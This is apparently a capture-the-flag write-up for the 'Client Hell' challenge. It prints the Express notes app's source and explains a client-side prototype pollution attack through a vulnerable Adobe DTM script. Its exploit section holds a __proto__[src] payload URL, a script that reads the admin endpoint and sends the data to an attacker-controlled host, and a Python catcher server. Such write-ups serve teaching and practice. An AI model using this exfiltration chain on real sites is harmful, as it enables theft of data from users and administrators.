Client Hell

Cyber night 3 Client Hell challenge

Application Resources

Application source code

const express = require('express');
const cookieParser = require("cookie-parser");
const path = require('path')
const sessions = require('express-session');
const nunjucks = require('nunjucks');
const parser = require('url');
const { userTable, notesTable } = require('./database');
const { visit } = require('./bot');

const app = express();

app.use(express.urlencoded({ extended: true }));

const oneDay = 1000 * 60 * 60 * 24;
app.use(sessions({
    secret: process.env.SECRET,
    saveUninitialized: true,
    sameSite: 'none',
    cookie: { maxAge: oneDay },
    resave: false
}));

app.use(cookieParser());

nunjucks.configure('views', {
	autoescape: true,
	express: app
});

app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));

app.use((req, res, next) => {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader(
      'Access-Control-Allow-Methods',
      'OPTIONS, GET, POST, PUT, PATCH, DELETE'
    );
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    next();
});

app.get('/', (req, res) => {
    if(req.session.loggedIn){
        const query = "SELECT notes from notes where username = ?";
        const param = [req.session.username];
        let result = [];
        notesTable.all(query, param, (err, rows) => {
            if(err) console.log(err);
            for(let i = 0; i < rows.length; i++){
                result.push(rows[i].notes);
            }
            return res.render('home.html', { username: req.session.username, notes: result });
        });
    }else{
        return res.redirect('/login')
    }
});

app.get('/login', (req, res) => {
    return res.render('login.html');
});

app.get('/register', (req, res) => {
    return res.render('register.html')
});

app.post('/register', (req, res) => {
    const { username } = req.body;
    const { password } = req.body;
    let msg;
    const query = "SELECT username from user where username = ?";
    const param = [username];

    userTable.all(query, param, (err, rows) => {
        if(err) console.log(err);
        if(rows.length != 0){
            msg = "username already exists";
            return res.render('register.html', { msg: msg });
        }else{
            msg = "User have been created";
            const query2 = "INSERT INTO user(username, password) VALUES (?,?)";
            const param = [username, password]
            userTable.run(query2, param);
            return res.render('register.html', { msg: msg });
        }
    });
});

app.post('/login', (req, res) => {
    const { username } = req.body;
    const { password } = req.body;
    let msg = ""
    const query = "SELECT username, password from user where username = ? and password = ?";
    const param = [username, password];
    if(username && password){
        userTable.all(query, param, (err, rows) => {
            if(err) return;
            if(rows.length != 0){
                req.session.loggedIn = true;
                req.session.username = username;
                return res.redirect('/');
            }else{
                msg = "username or password is incorrect";
                return res.render('login.html', { msg: msg });
            }
        })
    }
});

app.post("/note", (req, res) => {
    if(req.session.loggedIn){
        const { note } = req.body;
        const query = "INSERT INTO notes(username, notes) VALUES (?,?)";
        const param = [req.session.username, note];
        notesTable.run(query, param, () => {
            return res.redirect('/');
        });
    }else{
        return res.redirect('/login');
    }
})

app.get('/report', (req, res) => {
    if(req.session.loggedIn){
        return res.render('report.html');
    }else{
        if(req.ip.includes('127.0.0.1')){
            return res.render('report.html');
        }else{
            return res.redirect('/login');
        }
    }
});

app.post('/admin/review', async (req, res) => {
    const { url } = req.body;
    regex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
    if(decodeURIComponent(url).match(regex)){
        const parse_url = parser.parse(url);
        if(parse_url.host.split(':')[0] == "127.0.0.1"){
            await visit(url).then(res => {
                console.log(url);
            }).catch(e => {
                console.log(e);
            });
            return res.json({msg: "We sent your report to the admin"});
        }else{
            return res.json({msg: "Invalid url"});
        }
    }else{
        res.json({msg: "please submit a url"});
    }
});

app.get('/admin/note', (req, res) => {
    if(!req.ip.includes('127.0.0.1')) return res.redirect('/');
    return res.json({flag: process.env.FLAG});
});

app.get('/logout', (req, res) => {
    req.session.destroy();
    res.redirect('/');
});

app.listen(1337, () => {
    console.log("Listening on port 1337")
});

report.html content

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title>Home</title>
		<link rel="stylesheet" href="/static/style.css">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
        <link rel="stylesheet" href="/static/index.css">
	</head>
	<body class="loggedin">
		<script src="https://assets.adobedtm.com/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js" async></script>
		<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
        <script src="https://raw.githack.com/alrusdi/jquery-plugin-query-object/9e5871fbb531c5e246aac2aaf056b237bc7cc0a6/jquery.query-object.js"></script>
		<nav class="navtop">
			<div>
				<h1>Notes</h1>
				<a href="/report"><i class=""></i>report</a>
				<a href="/logout"><i class="fas fa-sign-out-alt"></i>Logout</a>
			</div>
		</nav>
		<div class="content">
			
        <h1><center>Report a URL to the admin</center></h1>
        <form id="myForm" method="get" class="example" style="margin:auto;max-width:600px">
            <input id="url" type="text" placeholder="Enter a url" name="url">
            <button id="submit" type="submit">report</button>
            <br>
            <br>
            <div id="msg" class="msg"></div>
        </form>
        <script>
            const fetchData = async () => {
                const url = document.getElementById('url').value;
                await fetch("/admin/review", {
                    method: "POST",
                    mode: 'cors',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                    },
                    body: `url=${url}`
                }).then(res => res.json()).then(res2 => {
                    document.getElementById('msg').innerHTML = res2.msg;
                }).catch(() => {
                    document.getElementById('msg').innerHTML = "Something went wrong";
                })
            }

            const form = document.getElementById( "myForm" );
            form.addEventListener('submit', event => {
                event.preventDefault();
                fetchData();
            });
        </script>

		</div>
	</body>
</html>

Exploitation

Quick analysis

app.post('/admin/review', async (req, res) => {
    const { url } = req.body;
    regex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
    if(decodeURIComponent(url).match(regex)){
        const parse_url = parser.parse(url);
        if(parse_url.host.split(':')[0] == "127.0.0.1"){
            await visit(url).then(res => {
                console.log(url);
            }).catch(e => {
                console.log(e);
            });
            return res.json({msg: "We sent your report to the admin"});
        }else{
            return res.json({msg: "Invalid url"});
        }
    }else{
        res.json({msg: "please submit a url"});
    }
});

app.get('/admin/note', (req, res) => {
    if(!req.ip.includes('127.0.0.1')) return res.redirect('/');
    return res.json({flag: process.env.FLAG});
});
  • Route /admin/review requires a url in the POST request body. Line 2

  • Regex could be bypassed by encoding the special characters with URLEncode. Line 3 to Line 4

  • The provided URL host must be equal to 127.0.0.1 Line 6

  • The bot (chromium) accesses the URL. Line 7

  • The flag can be obtained via /admin/note route only if the client ipAddress is 127.0.0.1. Line 22 to 23

app.get('/report', (req, res) => {
    if(req.session.loggedIn){
        return res.render('report.html');
    }else{
        if(req.ip.includes('127.0.0.1')){
            return res.render('report.html');
        }else{
            return res.redirect('/login');
        }
    }
});

the developer used a vulnerable Adobe Dynamic Tag Management that is included in report.html (Client Side Prototype Pollution). [1]

<script src="https://assets.adobedtm.com/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js" async></script>

Exploit

I developed a custom payload for the client-side prototype pollution that bypasses most regex special characters without encoding.

Note you must change VPS.IPAddress to your VPS IPAddress.

Payload

http://127.0.0.1:1337/report?__proto__[src]=http://VPS.IPAddress/file.js

POST Request Payload

url=http://127.0.0.1:1337/report?__proto__%5bsrc%5d=http://VPS.IPAddress/file.js
  • encodes []only.

file.js Content

let get = async (url) => {
    let data = await fetch(url, { mode: 'cors' })
        .then( (response) => { return response.text() })
        .then( data => {
            return btoa(data);
        })
        .catch( (error) => { return btoa(error.toString()) });
    return data;
};

let ipAddress = 'VPS.IPAddress';
let execute = () => {
    get('http://127.0.0.1:1337/admin/note')
    .then( (data) => {
        get(`http://${ipAddress}/?response=${data}`);
    });
};
execute();

server.py Content

#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test
from urllib.parse import urlparse, parse_qs
from base64 import b64decode

class CORSRequestHandler (SimpleHTTPRequestHandler):
    def end_headers (self):
        params = parse_qs(urlparse(self.path).query)
        if 'response' in params:
            data = b64decode(params['response'][0])
            print(data)
        self.send_header('Access-Control-Allow-Origin', '*')
        SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
    test(CORSRequestHandler, HTTPServer, port=80)

Result

root@ubuntu-s-2vcpu-2gb-amd-lon1-01:/dev/shm# python3 server.py 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
"GET /file.js HTTP/1.1" 200 -
"GET /?response=eyJmbGFnIjoiZmxhZ3tZb3VfR290X0l0fSJ9 HTTP/1.1" 200 -
b'{"flag":"flag{You_Got_It}"}'

References

Last updated